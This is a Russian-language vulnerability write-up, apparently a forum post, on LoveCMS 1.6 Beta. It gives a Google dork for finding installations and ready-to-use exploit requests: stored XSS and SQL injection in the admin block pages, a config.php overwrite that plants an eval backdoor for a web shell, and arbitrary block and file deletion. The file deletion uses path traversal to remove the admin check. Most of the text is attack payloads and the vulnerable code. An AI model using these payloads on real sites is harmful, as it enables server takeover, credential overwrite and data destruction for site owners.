LoveCMS 1.6Beta Скачать: тынц sourceforge dork: "Powered by LoveCMS Green 1.6 Beta" проверка на админство: include(LOVE_ROOT . '/system/admin/love_head.php'); if($_SESSION[SESSION_ADMIN] != ADMIN_USER)..die(); во многих файлах идет сначала действие, а потом проверка)) --- AdminXSS & SQlinj /system/admin/addblock.php POST: submit=submit&title={XSS1}&content=content&type={insert_SQLinj}--+ в админке админ увидет title (т.е. ксс) при просмотре раздела "Blocks": (/system/admin/blocks.php) exploit: Code: POST: submit=submit&title=TITLE<script>alert(/a/);</script>&content=CONTENT&type=plain уязвимий кусок кода: PHP: $db -> db_query("INSERT INTO " . DB_PREFIX . "blocks (title, content, type, position, height, visible, owner) VALUES ( '" . addslashes($_POST['title']) . "', '" . addslashes($_POST['content']) . "', '" . $_POST['type'] . "', 'left', '0', 'no', 'system')"); --- config.php rewrite /system/admin/themes.php POST: submit=submit&theme={config_theme}& define('THEME', 'LOVE_ROOT'); == define('THEME', $_POST['theme']); exploit: Code: /system/admin/themes.php?submit=submit&theme=');eval(isset($_GET['c'])?$_GET['c']:' ^^ и получаем шелл: /config.php?c={EVAL} также можна перезаписать ADMIN_USER, ADMIN_PASS, SESSION_ADMIN и другие конфиг-данные. /config.php?c=print LOVE_ROOT; - полный путь уязвимий кусок кода: PHP: if(isset($_POST['submit'])) { $values = array(array('THEME', $_POST['theme'])); open_config_file(); write_config_file($values); close_config_file(); redirect_with_message('msg', 'LANG_046'); }.. include(LOVE_ROOT . '/system/admin/love_head.php'); --- XSS & sqlInj /system/admin/editblock.php GET: id={номер}& POST: title={XSS}&content=&type={update_sqlInj}');--+ уязвимий кусок кода: PHP: if(!is_numeric($_GET['id'])) { redirect_with_message('msg', 'LANG_118', 'blocks.php'); } if(isset($_POST['submit'])) { $db -> db_query("UPDATE " . DB_PREFIX . "blocks SET title = '" . addslashes($_POST['title']) . "', content = '" . addslashes($_POST['content']) . "', type = '" . $_POST['type'] . "' WHERE id = '" . $_GET['id'] . "'"); redirect_with_message('msg', 'LANG_119', 'blocks.php'); } include(LOVE_ROOT . '/system/admin/love_head.php'); --- удаления любого блока /system/admin/blocks.php ^^ удаление БЛОКА с табл. _blocks с id=$_GET[delete] GET: delete={номер}& уязвимий кусок кода: PHP: if(isset($_GET['delete'])) { if(is_numeric($_GET['delete'])) { $db -> db_query("DELETE FROM " . DB_PREFIX . "blocks WHERE id = '" . $_GET['delete'] . "'"); redirect_with_message('msg', 'LANG_111'); } } ... include(LOVE_ROOT . '/system/admin/love_head.php'); --- удаление файлов /system/admin/images.php GET: delete={site.com/uploads/FILENAME} уязвимий кусок кода: PHP: if($_GET['delete']) { $filename = $_GET['delete']; $sql = $db -> db_query("DELETE FROM " . DB_PREFIX . "images WHERE filename = '$filename'"); unlink(LOVE_ROOT . '/uploads/' . $filename); unlink(LOVE_ROOT . '/uploads/thumbs/' . $filename); redirect_with_message('msg', 'LANG_088'); } include(LOVE_ROOT . '/system/admin/love_head.php'); --- phpinfo Code: удаляем проверку на админа: /system/admin/images.php?delete=../system/admin/love_head.php смотрим phpinfo: /system/admin/phpinfo.php или: Code: перезаписиваем config.php: /system/admin/themes.php?submit=submit&theme=');eval(isset($_GET['c'])?$_GET['c']:' выполняем команду phpinfo() : /config.php?c=phpinfo();